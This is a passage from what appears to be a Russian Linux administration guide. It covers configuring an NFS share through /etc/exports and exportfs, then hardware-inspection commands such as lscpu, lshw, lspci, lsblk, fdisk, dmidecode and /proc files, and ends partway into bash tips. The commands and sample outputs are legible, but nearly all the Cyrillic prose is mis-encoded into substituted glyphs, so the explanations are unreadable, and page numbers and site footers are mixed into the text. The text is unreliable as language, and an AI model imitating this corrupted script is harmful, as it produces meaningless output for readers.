ɼʘʣʝʝ ʤʳ ʜʦʣʞʥʳ ʩʜʝʣʘʪʴ ʪʘʢ, ʯʪʦʙʳ ʚʣʘʜʝʣʴʮʝʤ ʜʠʨʝʢʪʦʨʠʠ /var/nf s  ʠ ʛʨʫʧʧʝ, 

ʢ ʢʦʪʦʨʦʡ ʦʥ ʧʨʠʥʘʜʣʝʞʠʪ ʩʪʘʣʠ ʚʩʝ ʧʦʣʴʟʦʚʘʪʝʣʠ ʚ ʥʘʰʝʡ ʩʠʩʪʝʤʝ. ɼʣʷ ʵʪʦʛʦ 

ʚʚʦʜʠʤ ʥʘ ʩʝʨʚʝʨʝ ʢʦʤʘʥʜʫ: 

sudo chown nobody : nogroup / var / nfs  

ɺʚʦʜʠʪʝ ʵʪʫ ʢʦʤʘʥʜʫ ʪʦʣʴʢʦ ʜʣʷ ʪʝʭ ʜʠʨʝʢʪʦʨʠʡ, ʢʦʪʦʨʳʝ ʩʦʟʜʘʣʠ ʩʘʤʠ, ʥʝ 

ʥʘʜʦ ʚʚʦʜʠʪʴ ʝʸ ʜʣʷ ʫʞʝ ʠʤʝʶʱʠʭʩʷ ʜʠʨʝʢʪʦʨʠʡ, ʥʘʧʨʠʤʝʨ /home . 

ʉʣʝʜʫʶʱʠʤ ʰʘʛʦʤ ʥʝʦʙʭʦʜʠʤʦ ʠʟʤʝʥʠʪʴ ʢʦʥʬʠʛʫʨʘʮʠʶ ʩʘʤʦʛʦ NFS, ʦʥʘ ʣʝʞʠʪ ʚ 

ʬʘʡʣʝ /etc/exports , ʦʪʢʨʳʚʘʝʤ ʝʛʦ ʜʣʷ ʨʝʜʘʢʪʠʨʦʚʘʥʠʷ ʣʶʙʠʤʳʤ ʨʝʜʘʢʪʦʨʦʤ: 

sudo nano / etc / exports  

ʇʝʨʝʜ ʚʘʤʠ ʦʪʢʨʦʝʪʩʷ ʢʦʥʬʠʛʫʨʘʮʠʦʥʥʳʡ ʬʘʡʣ ʩ ʟʘʢʦʤʤʝʥʪʠʨʦʚʘʥʥʳʤʠ 

ʩʪʨʦʢʘʤʠ, ʢʦʪʦʨʳʝ ʩʦʜʝʨʞʘʪ ʧʨʠʤʝʨʳ ʥʘʩʪʨʦʡʢʠ ʜʣʷ ʨʘʟʥʳʭ ʚʝʨʩʠʡ NFS. 

ɿʘʢʦʤʤʝʥʪʠʨʦʚʘʥʥʳʝ ï ʵʪʦ ʪʝ, ʚ ʥʘʯʘʣʝ ʢʦʪʦʨʳʭ ʩʪʦʠʪ ʩʠʤʚʦʣ #, ʠ ʵʪʦ 

ʟʥʘʯʠʪ, ʯʪʦ ʧʘʨʘʤʝʪʨʳ, ʫʢʘʟʘʥʥʳʝ ʚ ʥʠʭ, ʥʝ ʠʤʝʶʪ ʩʠʣʳ. 
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ʅʘʤ ʥʝʦʙʭʦʜʠʤʦ ʚʥʝʩʪʠ ʚ ʵʪʦʪ ʬʘʡʣ ʩʣʝʜʫʶʱʠʝ ʥʝ ʟʘʢʦʤʤʝʥʪʠʨʦʚʘʥʥʳʝ ʩʪʨʦʢʠ: 

/var/ nfs    10.10 . 0.10 / 24( rw , sync , no_subtree_check )  

ɻʜʝ: 

ǒ /var/nfs - ɼʠʨʝʢʪʦʨʠʷ, ʢʦʪʦʨʫʶ ʤʳ ʭʦʪʠʤ ʨʘʩʰʘʨʠʪʴ 

ǒ 10.10.0.10 - IP-ʘʜʨʝʩ ʠ ʤʘʩʢʘ ʢʣʠʝʥʪʩʢʦʛʦ ʢʦʤʧʴʶʪʝʨʘ, ʢʦʪʦʨʦʤʫ ʥʫʞʥʦ 

ʨʘʟʜʘʪʴ ʜʦʩʪʫʧ ʢ ʜʠʨʝʢʪʦʨʠʠ 

ǒ rw - ʈʘʟʨʝʰʘʝʪ ʢʣʠʝʥʪʫ ʯʠʪʘʪʴ (r) ʠ ʟʘʧʠʩʳʚʘʪʴ (w) ʬʘʡʣʳ ʚ ʜʠʨʝʢʪʦʨʠʠ 

ǒ sync - ʕʪʦʪ ʧʘʨʘʤʝʪʨ ʟʘʩʪʘʚʣʷʝʪ NFS ʟʘʧʠʩʳʚʘʪʴ ʠʟʤʝʥʝʥʠʷ ʥʘ ʜʠʩʢ ʧʝʨʝʜ 

ʦʪʚʝʪʦʤ ʢʣʠʝʥʪʫ. 

https://wiki.merionet.ru/
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ǒ no_subtree_check - ɼʘʥʥʘʷ ʦʧʮʠʷ ʦʪʢʣʶʯʘʝʪ ʧʨʦʚʝʨʢʫ ʪʦʛʦ, ʯʪʦ 

ʧʦʣʴʟʦʚʘʪʝʣʴ ʦʙʨʘʱʘʝʪʩʷ ʠʤʝʥʥʦ ʢ ʬʘʡʣʫ ʚ ʦʧʨʝʜʝʣʸʥʥʦʤ ʧʦʜʢʘʪʘʣʦʛʝ. 

ɽʩʣʠ ʵʪʦ ʧʨʦʚʝʨʢʘ ʚʢʣʶʯʝʥʘ, ʪʦ ʤʦʛʫʪ ʚʦʟʥʠʢʥʫʪʴ ʧʨʦʙʣʝʤʳ, ʢʦʛʜʘ, 

ʥʘʧʨʠʤʝʨ, ʥʘʟʚʘʥʠʝ ʬʘʡʣʘ ʠʣʠ ʧʦʜʢʘʪʘʣʦʛʘ ʙʳʣʦ ʠʟʤʝʥʝʥʦ ʠ ʧʦʣʴʟʦʚʘʪʝʣʴ 

ʧʦʧʨʦʙʫʝʪ ʢ ʥʠʤ ʦʙʨʘʪʠʪʴʩʷ. 

ʇʦʩʣʝ ʵʪʦʛʦ, ʥʫʞʥʦ ʩʦʟʜʘʪʴ ʪʘʙʣʠʮʫ ʩʦʦʪʚʝʪʩʪʚʠʷ ʨʘʩʰʘʨʝʥʥʳʭ ʜʠʨʝʢʪʦʨʠʡ ʠ 

ʢʣʠʝʥʪʦʚ, ʘ ʟʘʪʝʤ ʟʘʧʫʩʪʠʪʴ NFS ʩʝʨʚʠʩ. ɼʣʷ ʵʪʦʛʦ ʚʚʦʜʠʤ ʩʣʝʜʫʶʱʠʝ ʢʦʤʘʥʜʳ: 

sudo exportfs ïa 

sudo service nfs - kernel - server start  

ʇʦʩʣʝ ʚʳʧʦʣʥʝʥʥʳʭ ʜʝʡʩʪʚʠʡ ʨʘʩʰʘʨʝʥʥʳʝ ʜʠʨʝʢʪʦʨʠʠ ʜʦʣʞʥʳ ʩʪʘʪʴ 

ʜʦʩʪʫʧʥʳʤʠ ʜʣʷ ʜʦʩʪʫʧʘ ʩ ʢʣʠʝʥʪʦʚ. 

13 ȒȖȔȈȕȌ Ȍȓȧ ȗȘȖȊȍȘȒȐ ȎȍȓȍȏȈ ȕȈ șȍȘȊȍȘȍ Linux 

ɼʦʩʪʘʪʦʯʥʦ ʧʨʦʩʪʦ ʧʦʩʤʦʪʨʝʪʴ çʞʝʣʝʟʥʳʝè ʢʦʤʧʦʥʝʥʪʳ ʚʘʰʝʛʦ ʩʝʨʚʝʨʘ ʚ ʪʦʤ 

ʩʣʫʯʘʝ, ʝʩʣʠ ʦʥ ʫʩʪʘʥʦʚʣʝʥ ʧʦʚʝʨʭ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʳ ʥʘ ʙʘʟʝ Windows. ɸ ʯʪʦ 

ʜʝʣʘʪʴ, ʝʩʣʠ ʥʘ ʩʝʨʚʝʨʝ ʠʩʧʦʣʴʟʫʝʪʩʷ Linux ï based ʦʧʝʨʘʮʠʦʥʥʘʷ ʩʠʩʪʝʤʘ? ʋ ʥʘʩ 

ʝʩʪʴ ʦʪʚʝʪ. 

ɺ Linux ʠʤʝʝʪʩʷ ʤʥʦʞʝʩʪʚʦ ʨʘʟʣʠʯʥʳʭ ʢʦʤʘʥʜ, ʢʦʪʦʨʳʝ ʨʘʩʩʢʘʞʫʪ ʚʘʤ ʦ 

ʧʨʦʮʝʩʩʦʨʥʳʭ ʠʣʠ ʦʧʝʨʘʪʠʚʥʳʭ ʤʦʱʥʦʩʪʷʭ, ʜʠʩʢʘʭ, USB ʠʣʠ ʩʝʪʝʚʳʭ ʘʜʘʧʪʝʨʘʭ, 

ʢʦʥʪʨʦʣʣʝʨʘʭ ʠʣʠ ʩʝʪʝʚʳʭ ʠʥʪʝʨʬʝʡʩʘʭ, ʘ ʪʘʢʞʝ ʦ ʧʨʦʯʠʭ çhardwareè 

ʢʦʤʧʦʥʝʥʪʘʭ. ʀʪʘʢ, ʩʧʝʰʠʤ ʧʦʜʝʣʠʪʴʩʷ 16 ʢʦʤʘʥʜʘʤʠ, ʢʦʪʦʨʳʝ ʧʦʤʦʛʫʪ ʚʘʤ 

ʧʦʟʥʘʢʦʤʠʪʴʩʷ ʩ ʩʝʨʚʝʨʦʤ ʧʦʙʣʠʞʝ. 
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LSCPU 

ʉʘʤʘʷ ʧʨʦʩʪʘʷ ʢʦʤʘʥʜʘ ʜʣʷ ʧʦʣʫʯʝʥʠʷ ʠʥʬʦʨʤʘʮʠʠ ʦ ʧʨʦʮʝʩʩʦʨʥʳʭ ʤʦʱʥʦʩʪʷʭ 

(CPU) - lscpu . ʆʥʘ ʥʝ ʠʤʝʝʪ ʢʘʢʠʭ ï ʣʠʙʦ ʜʦʧʦʣʥʠʪʝʣʴʥʳʭ ʦʧʮʠʡ (ʢʣʶʯʝʡ) ʠ 

ʚʳʧʦʣʥʷʝʪʩʷ ʚ ʝʜʠʥʩʪʚʝʥʥʦʤ ʠʩʧʦʣʥʝʥʠʠ: 

[ root@hq ~]# lscpu  

Architecture :           i686  

CPU op- mode( s):         32- bit ,  64- bit  

Byte  Order :             Little  Endian  

CPU( s):                 1 

On- line CPU ( s)  list :    0 

Thread ( s)  per core :     1 

Core ( s)  per socket :     1 

Socket ( s):              1 

Vendor  ID :              GenuineIntel  

CPU family :             6 
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Model :                  94 

Stepping :               3 

CPU MHz:                3191.969  

BogoMIPS:               6383.93  

Hypervisor  vendor :      Microsoft  

Virtualization  type :    full  

L1d cache :              32K 

L1i cache :              32K 

L2 cache :               256K 

L3 cache :               3072K 

 

LSHW ǫ ɉɇȼɉɆȺ ɃɂɣɂɡɅɓɍ ȺɆɄɇɆɅɂɅɊɆɁ 

ɽʩʣʠ ʫ ʚʘʩ ʥʝ ʠʩʧʦʣʥʷʝʪʩʷ ʜʘʥʥʘʷ ʢʦʤʘʥʜʘ, ʪʦ ʚʘʤ ʥʝʦʙʭʦʜʠʤʦ ʫʩʪʘʥʦʚʠʪʴ 

lshw ʜʦʧʦʣʥʠʪʝʣʴʥʦ. ʅʘʧʨʠʤʝʨ, ʚ CentOS ʵʪʦ ʤʦʞʥʦ ʩʜʝʣʘʪʴ ʢʦʤʘʥʜʦʡ sudo 

yum install lshw . 

ɼʘʥʥʘʷ ʢʦʤʘʥʜʘ ʧʦʟʚʦʣʷʝʪ ʧʦʣʫʯʠʪʴ ʠʥʬʦʨʤʘʪʠʚʥʦʝ ʦʧʠʩʘʥʠʝ ʢʦʤʧʦʥʝʥʪʦʚ 

ʚʘʰʝʛʦ ʩʝʨʚʝʨʘ, ʚ ʪʦʤ ʯʠʩʣʝ CPU, ʧʘʤʷʪʠ, USB/NIC, ʘʫʜʠʦ ʠ ʧʨʦʯʠʭ: 

https://wiki.merionet.ru/


 
 

 

233                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

[ root@hq ~]# lshw - short  

H/ W path          Device        Class       Description  

=====================================================  

                               system     Virtual  Machine  

/ 0                             bus        Virtual  Machine  

/ 0/ 0                           memory     64KiB  BIOS 

/ 0/ 5                           pr ocessor  Intel ( R)  Core ( TM)  i3 - 6100T  CPU @ 

3.20GHz  

/ 0/ 51                          memory     4GiB  System  Memory 

/ 0/ 100                          bridge     440BX/ ZX/ DX -  82443BX/ ZX/ DX Host  

bridge ( AGP disabled )  

/ 0/ 100 / 7                       bridge     82371AB/ EB/ MB PIIX4 ISA  

/ 0/ 100 / 7.1         scsi1        storage    82371AB/ EB/ MB PIIX4 IDE  

/ 0/ 100 / 7.1 / 0.0 . 0  / dev / cdrom1  disk       DVD reader  

/ 0/ 100 / 7.3                      bridge     82371AB/ EB/ MB PIIX4 ACPI  

/ 0/ 100 / 8                       display    Hyper - V virtual  VGA 

/ 0/ 1              scsi2        storage  

https://wiki.merionet.ru/


 
 

 

234                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

/ 0/ 1/ 0.0 . 0        / dev / sda     disk       160GB SCSI Disk  

/ 0/ 1/ 0.0 . 0/ 1      / dev / sda1    volume     500MiB  EXT4 volume  

/ 0/ 1/ 0.0 . 0/ 2      / dev / sda2    volume     149GiB  Linux  LVM Physical  Volume  

partition  

/ 1                eth0         network    Ethernet  interface  

 

LSPCI ǫ ɉɇȼɉɆȺ REK 

ɼʘʥʥʘʷ ʢʦʤʘʥʜʘ ʦʪʦʙʨʘʞʘʝʪ ʩʧʠʩʦʢ ʚʩʝʭ PCI ï ʰʠʥ ʠ ʫʩʪʨʦʡʩʪʚ, ʧʦʜʢʣʶʯʝʥʥʳʭ ʢ 

ʥʠʤ. ʉʨʝʜʠ ʥʠʭ ʤʦʛʫʪ ʙʳʪʴ VGA ï ʘʜʘʧʪʝʨʳ, ʚʠʜʝʦ ï ʢʘʨʪʳ, NIC, USB, SATA ï 

ʢʦʥʪʨʦʣʣʝʨʳ ʠ ʧʨʦʯʠʝ: 

[ root@hq ~]# lspci  

00: 00.0  Host  bridge :  Intel  Corporation  440BX/ ZX/ DX -  82443BX/ ZX/ DX Host  

bridge ( AGP disabled )  ( rev 03)  

00: 07.0  ISA bridge :  Intel  Corporation  82371AB/ EB/ MB PIIX4 ISA ( rev 01)  

00: 07.1  IDE interface :  Intel  Corporation  82371AB/ EB/ MB PIIX4 IDE ( rev 01)  

00: 07.3  Bridge :  Intel  Corporation  82371AB/ EB/ MB PIIX4 ACPI ( rev 02)  

00: 08.0  VGA compatible controller :  Microsoft  Corporation  Hyper - V virtual  VGA 
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LSSCSI ǫ ɉɇȼɉɆȺ %E%K ɋɉɊɈɆɢɉɊɁ 

ɼʘʥʥʘʷ ʢʦʤʘʥʜʳ ʚʳʚʝʜʝʪ ʩʧʠʩʦʢ SCSI/SATA ʫʩʪʨʦʡʩʪʚ, ʥʘʧʨʠʤʝʨ, ʪʘʢʠʭ ʢʘʢ 

ʦʧʪʠʯʝʩʢʠʝ ʧʨʠʚʦʜʳ: 

[ root@hq ~]# lsscsi  

[ 3: 0: 0: 0]     disk    ATA      WD1600JS - 55NCB1      CC38  / dev / sdb  

[ 4: 0: 0: 0]     cd / dvd  SONY     DVD RW DRU - 190A  1.63   / dev / sr0  

 

LSUSB ǫ ɉɇȼɉɆȺ V%D ǫ ɐȼɅ ȼ ɇɆɠɈɆɀɅȿɗ ȼɅɌɆɈɄȿɎȼɗ Ɇɀ ɋɉɊɈɆɢɉɊɁȿɍ 

ʂʦʤʘʥʜʘ ʨʘʩʩʢʘʞʝʪ ʧʨʦ USB ï ʢʦʥʪʨʦʣʣʝʨʳ ʠ ʫʩʪʨʦʡʩʪʚʘ, ʧʦʜʢʣʶʯʝʥʥʳʝ ʢ ʥʠʤ. 

ʇʦ ʫʤʦʣʯʘʥʠʶ, ʢʦʤʘʥʜʘ ʦʪʦʙʨʘʟʠʪ ʢʨʘʪʢʫʶ ʠʥʬʦʨʤʘʮʠʶ. ɺ ʩʣʫʯʘʝ, ʝʩʣʠ 

ʥʝʦʙʭʦʜʠʤʘ ʛʣʫʙʦʢʘʷ ʜʝʪʘʣʠʟʘʮʠʷ, ʚʦʩʧʦʣʴʟʫʡʪʝʩʴ ʦʧʮʠʝʡ - v : 

[ root@hq ~]# lsusb  

Bus 003  Device  001 :  ID 9c6a : 00c1  Linux  Foundation  1.1  root hub  

Bus 004  Device  002 :  ID 092e : 00de  Microsoft  Corp .  Basic  Optical  Mouse v2 . 0 

 

LSBLK - ɋɉɊɈɆɢɉɊɁȿ ȼ ɇȿɈɊȼɎȼȼ ɠɣɗ ɍɈȿɅɂɅȼɗ 

ʂʦʤʘʥʜʘ ʚʳʚʝʜʝʪ ʠʥʬʦʨʤʘʮʠʶ ʦ ʨʘʟʜʝʣʘʭ (ʧʘʨʪʠʮʠʷʭ) ʞʝʩʪʢʦʛʦ ʜʠʩʢʘ ʠ ʧʨʦʯʠʭ 

ʫʩʪʨʦʡʩʪʚʘʭ, ʧʨʝʜʥʘʟʥʘʯʝʥʥʳʭ ʜʣʷ ʭʨʘʥʝʥʠʷ: 
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[ root@hq ~]# lsblk  

NAME                        MAJ : MIN RM   SIZE RO TYPE MOUNTPOINT  

sr0                          11: 0    1  1024M  0 rom 

sda                           8: 0    0 149.6G   0 disk  

+- sda1                        8: 1    0   500M  0 part / boot  

L- sda2                        8: 2    0 149.1G   0 part  

  +- VolGroup - lv_root ( dm- 0)  253 : 0    0    50G  0 lvm  /  

  +- VolGroup - lv_swap ( dm- 1)  253 : 1    0     2G  0 lvm  [ SWAP]  

  L- VolGroup - lv_home ( dm- 2)  253 : 2    0  97.2G   0 lvm  / home 

 

DF - ȼɅɌɆɈɄȿɎȼɗ Ɇ ɇɈɆɉɊɈȿɅɉɊɁɂ ɌȿɢɣɆɁɆɢ ɉȼɉɊɂɄɓ 

ʂʦʤʘʥʜʘ ʦʪʦʙʨʘʞʘʝʪ ʠʥʬʦʨʤʘʮʠʶ ʦ ʨʘʟʣʠʯʥʳʭ ʨʘʟʜʝʣʘʭ, ʪʦʯʝʢ ʤʦʥʪʠʨʦʚʘʥʠʷ ʵʪʦ 

ʨʘʟʜʝʣʦʚ ʘ ʪʘʢʞʝ ʨʘʟʤʝʨ, ʟʘʥʷʪʦʝ ʠ ʜʦʩʪʫʧʥʦʝ ʧʨʦʩʪʨʘʥʩʪʚʦ ʜʣʷ ʭʨʘʥʝʥʠʷ: 

[ root@hq ~]# df - H 

Filesystem             Size   Used Avail  Use% Mounted  on 

/ dev / mapper / VolGroup - lv_root  
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                       53G  7.1G    43G  15% /  

tmpfs                 2.1G     0  2.1G   0% / dev / shm 

/ dev / sda1             500M   26M  448M   6% /boot  

/ dev / mapper / VolGroup - lv_home  

                      103G  143M   98G   1% / home 

 

PYDF - FH Ʌȿ ɗɡɓȺɂ RZUJQP 

ɽʩʣʠ ʫ ʚʘʩ ʥʝ ʠʩʧʦʣʥʷʝʪʩʷ ʜʘʥʥʘʷ ʢʦʤʘʥʜʘ, ʪʦ ʚʘʤ ʥʝʦʙʭʦʜʠʤʦ ʫʩʪʘʥʦʚʠʪʴ 

pydf ʜʦʧʦʣʥʠʪʝʣʴʥʦ. ʅʘʧʨʠʤʝʨ, ʚ CentOS ʵʪʦ ʤʦʞʥʦ ʩʜʝʣʘʪʴ ʢʦʤʘʥʜʦʡ sudo 

yum install pydf . 

ʋʣʫʯʰʝʥʥʘʷ ʚʝʨʩʠʷ ʢʦʤʘʥʜʳ df , ʥʘʧʠʩʘʥʥʘʷ ʥʘ ʇʠʪʦʥʝ. ʇʦʜʩʚʝʯʠʚʘʝʪ ʚʳʚʦʜ 

ʮʚʝʪʦʤ, ʯʪʦ ʫʣʫʯʰʘʝʪ ʚʦʩʧʨʠʷʪʠʝ: 

 

 

FDISK 

ʋʪʠʣʠʪʘ fdisk  ʜʣʷ ʫʧʨʘʚʣʝʥʠʷ ʨʘʟʜʝʣʘʤʠ ʥʘ ʞʝʩʪʢʠʭ ʜʠʩʢʘʭ. ʇʦʤʠʤʦ ʚʩʝʛʦ, 

ʫʪʠʣʠʪʘ ʤʦʞʝʪ ʠʩʧʦʣʴʟʦʚʘʪʴʩʷ ʜʣʷ ʦʪʦʙʨʘʞʝʥʠʷ ʠʥʬʦʨʤʘʮʠʠ: 
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[ root@hq ~]# sudo fdisk - l  

 

Disk  / dev / sda :  160.7  GB,  160657440768  bytes  

255  heads ,  63 sectors / track ,  19532  cylinders  

Units  = cylinders of 16065  *  512  = 8225280  bytes  

Sector  size ( logical / physical ):  512  bytes /  512  bytes  

I / O size ( minimum / optimal ):  512  bytes /  512  bytes  

Disk  identifier :  0x000e0ba6  

 

   Device  Boot       Start          End      Blocks    Id   System  

/ dev / sda1   *            1          64      512000    83  Linux  

Partition  1 does not  end  on cylinder boundary .  

/ dev / sda2              64       19533    156378112    8e  Linux  LVM 

 

Disk  / dev / mapper / VolGroup - lv_root :  53.7  GB,  53687091200  bytes  

255  heads ,  63 sectors / track ,  6527  cylinders  
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Units  = cylinders of 16065  *  512  = 8225280  bytes  

Sector  size ( logical / physical ):  512  bytes /  512  bytes  

I / O size ( minimum / optimal ):  512  bytes /  512  bytes  

Disk  identifier :  0x00000000  

 

MOUNT 

ʋʪʠʣʠʪʘ mount  ʧʨʝʜʥʘʟʥʘʯʝʥʘ ʜʣʷ ʫʧʨʘʚʣʝʥʠʷ ʠ ʧʨʦʩʤʦʪʨʘ ʩʤʦʥʪʠʨʦʚʘʥʥʳʭ 

ʬʘʡʣʦʚ ʩʠʩʪʝʤ ʠ ʩʦʦʪʚʝʪʩʪʚʫʶʱʠʭ ʪʦʯʝʢ: 

[ root@hq ~]# mount | column - t  

/ dev / mapper / VolGroup - lv_root  on  /                           type  ext4         

( rw )  

proc                          on  / proc                      type  proc         

( rw )  

sysfs                         on  / sys                       type  sysfs        

( rw )  

devpts                        on  / dev / pts                   type  devpts       

( rw , gid =5, mode=620 )  

tmpfs                         on  / dev / shm                   type  tmpfs        

( rw )  
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/ dev / sda1                     on  / boot                      type  ext4         

( rw )  

/ dev / mapper / VolGroup - lv_home  on  / home                      type  ext4         

( rw )  

/ var / spool / asterisk / monitor   on  / var / www/ html / ast_mon_dir  type  none         

( rw , bind )  

none                          on  / proc / sys / fs / binfmt_misc   type  

binfmt_misc  ( rw )  

 

FREE 

ʇʦʩʤʦʪʨʝʪʴ ʦʙʱʠʡ ʦʙʲʝʤ ʦʧʝʨʘʪʠʚʥʦʡ ʧʘʤʷʪʠ (RAM), ʩʚʦʙʦʜʥʳʡ ʠʣʠ ʟʘʥʷʪʳʡ? 

ʃʝʛʢʦ, ʩ ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ free : 

[ root@hq ~]# free - m 

             total       used       free     shared    buffers     cached  

Mem:           3919        3692         227           0        196         407  

- /+ buffers/ cache :        3088         830  

Swap:          2015           0       2015  

 

DMIDECODE 
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ɼʘʥʥʘʷ ʢʦʤʘʥʜʘ ʦʪʣʠʯʘʝʪʩʷ ʦʪ ʦʩʪʘʣʴʥʳʭ ʪʝʤ, ʯʪʦ ʧʘʨʩʠʪ ʠʥʬʦʨʤʘʮʠʶ ʦ ʞʝʣʝʟʝ 

ʠʟ SMBIOS/DMI (ʦʯʝʥʴ ʜʝʪʘʣʴʥʳʡ ʚʳʚʦʜ). 

#ʧʦʩʤʦʪʨʝʪʴ ʠʥʬʦʨʤʘʮʠʶ ʦ cpu 

sudo dmidecode - t processor  

#ram ʠʥʬʦʨʤʘʮʠʷ 

sudo dmidecode - t memory  

#ʠʥʬʦʨʤʘʮʠʷ ʦ bios 

sudo dmidecode - t bios  

 

Ɍȿɢɣɓ 1RTQE 

ɺ ʜʠʨʝʢʪʦʨʠʠ /proc ʩʫʱʝʩʪʚʫʝʪ ʮʝʣʦʝ ʤʥʦʞʝʩʪʚʦ ʬʘʡʣʦʚ, ʩʦʜʝʨʞʠʤʦʝ ʢʦʪʦʨʳʭ 

ʨʘʩʩʢʘʞʝʪ ʤʥʦʞʝʩʪʚʦ ʠʥʪʝʨʝʩʥʦʡ ʠ ʧʦʣʝʟʥʦʡ ʠʥʬʦʨʤʘʮʠʠ ʦ ʢʦʤʧʦʥʝʥʪʘʭ. 

ʅʘʧʨʠʤʝʨ, ʠʥʬʦʨʤʘʮʠʷ ʦ CPU ʠ ʧʘʤʷʪʠ: 

#cpu ʠʥʬʦʨʤʘʮʠʷ 

cat / proc / cpuinfo  

#ʠʥʬʦʨʤʘʮʠʷ ʦ ʧʘʤʷʪʠ 

cat / proc / meminfo  
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ʀʥʬʦʨʤʘʮʠʷ ʦʙ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʝ: 

[ root@hq ~]# cat /proc/version  

Linux  version 2.6 . 32- 504.8 . 1.el6.i686  ( mockbuild@c6b9 . bsys . dev . centos . org )  

( gcc version 4.4 . 7 20120313  ( Red Hat  4.4 . 7- 11)  ( GCC)  )  #1 SMP Wed Jan 28 

18:25:26 UTC 2015  

SCSI/Sata ʫʩʪʨʦʡʩʪʚʘ: 

[ root@hq ~]# cat /proc/scsi/scsi  

Attached  devices :  

Host :  scsi1 Channel :  00 Id :  00 Lun :  00 

  Vendor :  Msft      Model :  Virtual  CD/ ROM   Rev:  1.0  

  Type :    CD- ROM                           ANSI  SCSI revision :  05 

Host :  scsi2 Channel :  00 Id :  00 Lun :  00 

  Vendor :  Msft      Model :  Virtual  Disk      Rev:  1.0  

  Type :    Direct - Access                     ANSI  SCSI revision :  05 

ʇʘʨʪʠʮʠʠ: 

[ root@hq ~]# cat /proc/partitions  

major minor  #blocks  name  

https://wiki.merionet.ru/


 
 

 

243                        ͵ΙΥΜΣΡ ͺΙΧΖΣΥΞΦ   wiki.merionet.ru   
 

 

   8        0  156892032  sda  

   8        1     512000  sda1  

   8        2  156378112  sda2  

 253         0   52428800  dm- 0 

 253         1    2064384  dm- 1 

 253         2  101883904  dm- 2 

ȀȍșȚȤ ȗȖȓȍȏȕȣȝ ȚȘȦȒȖȊ Ȋ ȘȈȉȖȚȍ ș Linux 

ɽʩʣʠ ʚʳ ʘʜʤʠʥʠʩʪʨʠʨʫʝʪʝ ʩʝʨʚʝʨ c Linux-based ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʦʡ ʠ ʚʘʤ 

ʯʘʩʪʦ ʧʨʠʭʦʜʠʪʩʷ ʨʘʙʦʪʘʪʴ ʩ bash - ʥʝʙʦʣʴʰʠʝ ʪʨʶʢʠ ʥʠʞʝ ʚʘʤ ʦʙʷʟʘʪʝʣʴʥʦ 

ʧʨʠʛʦʜʷʪʩʷ, ʝʩʣʠ ʚʳ ʩ ʥʠʤʠ ʝʱʝ ʥʝ ʟʥʘʢʦʤʳ :) 

 

ɊȿɀɋɣɗɎȼɗ 

ʇʝʨʚʳʡ ʪʨʶʢ - ʪʘʙʫʣʷʮʠʷ. ʄʥʦʛʠʝ, ʢʦʛʜʘ ʪʦʣʴʢʦ ʥʘʯʠʥʘʶʪ ʨʘʙʦʪʘʪʴ ʩ Linux 

ʩʠʩʪʝʤʘʤʠ ʥʝ ʟʥʘʶʪ ʦʙ ʵʪʦʡ ʬʠʯʝ, ʥʦ ʦʥʘ ʦʯʝʥʴ ʩʠʣʴʥʦ ʫʧʨʦʱʘʝʪ ʞʠʟʥʴ. 

ʊʘʙʫʣʷʮʠʷ - ʵʪʦ ʟʘʚʝʨʰʝʥʠʝ ʢʦʤʘʥʜ ʠ ʥʘʟʚʘʥʠʡ ʬʘʡʣʦʚ ʧʦʩʣʝ ʥʘʞʘʪʠʷ ʥʘ Tab. 

ʂʦʛʜʘ ʵʪʦ ʤʦʞʝʪ ʙʳʪʴ ʧʦʣʝʟʥʦ? ʂ ʧʨʠʤʝʨʫ, ʚʳ ʟʘʙʳʣʠ ʢʘʢ ʧʠʰʝʪʩʷ ʢʦʤʘʥʜʘ ʠʣʠ 

ʬʘʡʣ ʠʤʝʝʪ ʜʣʠʥʥʦʝ ʥʘʟʚʘʥʠʝ, ʩʦʜʝʨʞʘʱʝʝ ʚ ʩʝʙʝ ʤʥʦʛʦ ʠʥʬʦʨʤʘʮʠʠ- ʥʦʤʝʨ 

ʚʝʨʩʠʠ, ʨʘʟʨʷʜʥʦʩʪʴ ʠ ʪʘʢ ʜʘʣʝʝ - ʥʘʯʥʠʪʝ ʧʠʩʘʪʴ ʥʘʟʚʘʥʠʝ ʬʘʡʣʘ ʠ ʥʘʞʤʠʪʝ ʥʘ 

ʢʣʘʚʠʰʫ Tab - ʠ ʩʨʘʟʫ ʚʩʝ ʧʦʣʫʯʠʪʩʷ! 

https://wiki.merionet.ru/
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ɇȿɢɇȼɈɆɁȿɅȼɂ 

ɺʪʦʨʦʡ ʪʨʶʢ - ʧʘʡʧʠʨʦʚʘʥʠʝ. ʇʘʡʧʦʤ ʚ Linux ʩʠʩʪʝʤʘʭ ʥʘʟʳʚʘʝʪʩʷ ʩʠʤʚʦʣ | - ʦʥ 

ʧʦʟʚʦʣʷʝʪ ʦʪʧʨʘʚʣʷʪʴ ʚʳʚʦʜ ʦʜʥʦʡ ʢʦʤʘʥʜʳ ʚ ʜʨʫʛʫʶ. ʂ ʧʨʠʤʝʨʫ, ʢʦʤʘʥʜʘ ls 

ʚʳʚʦʜʠʪ ʩʧʠʩʦʢ ʬʘʡʣʦʚ ʚ ʜʠʨʝʢʪʦʨʠʠ ʠ ʢʦʤʘʥʜʘ grep ʚʦʟʚʨʘʱʘʝʪ ʨʝʟʫʣʴʪʘʪʳ 

ʧʦʠʩʢʘ ʧʦ ʟʘʜʘʥʥʳʤ ʧʘʨʘʤʝʪʨʦʤ. ʉ ʧʦʤʦʱʴʶ ʧʘʡʧʘ ʵʪʠ ʜʚʝ ʢʦʤʘʥʜʳ ʤʦʞʥʦ 

ʩʢʦʤʙʠʥʠʨʦʚʘʪʴ - ʥʘʧʨʠʤʝʨ ʝʩʣʠ ʚʘʤ ʥʫʞʥʦ ʥʘʡʪʠ ʚ ʜʠʨʝʢʪʦʨʠʠ ʢʦʥʢʨʝʪʥʳʡ ʬʘʡʣ 

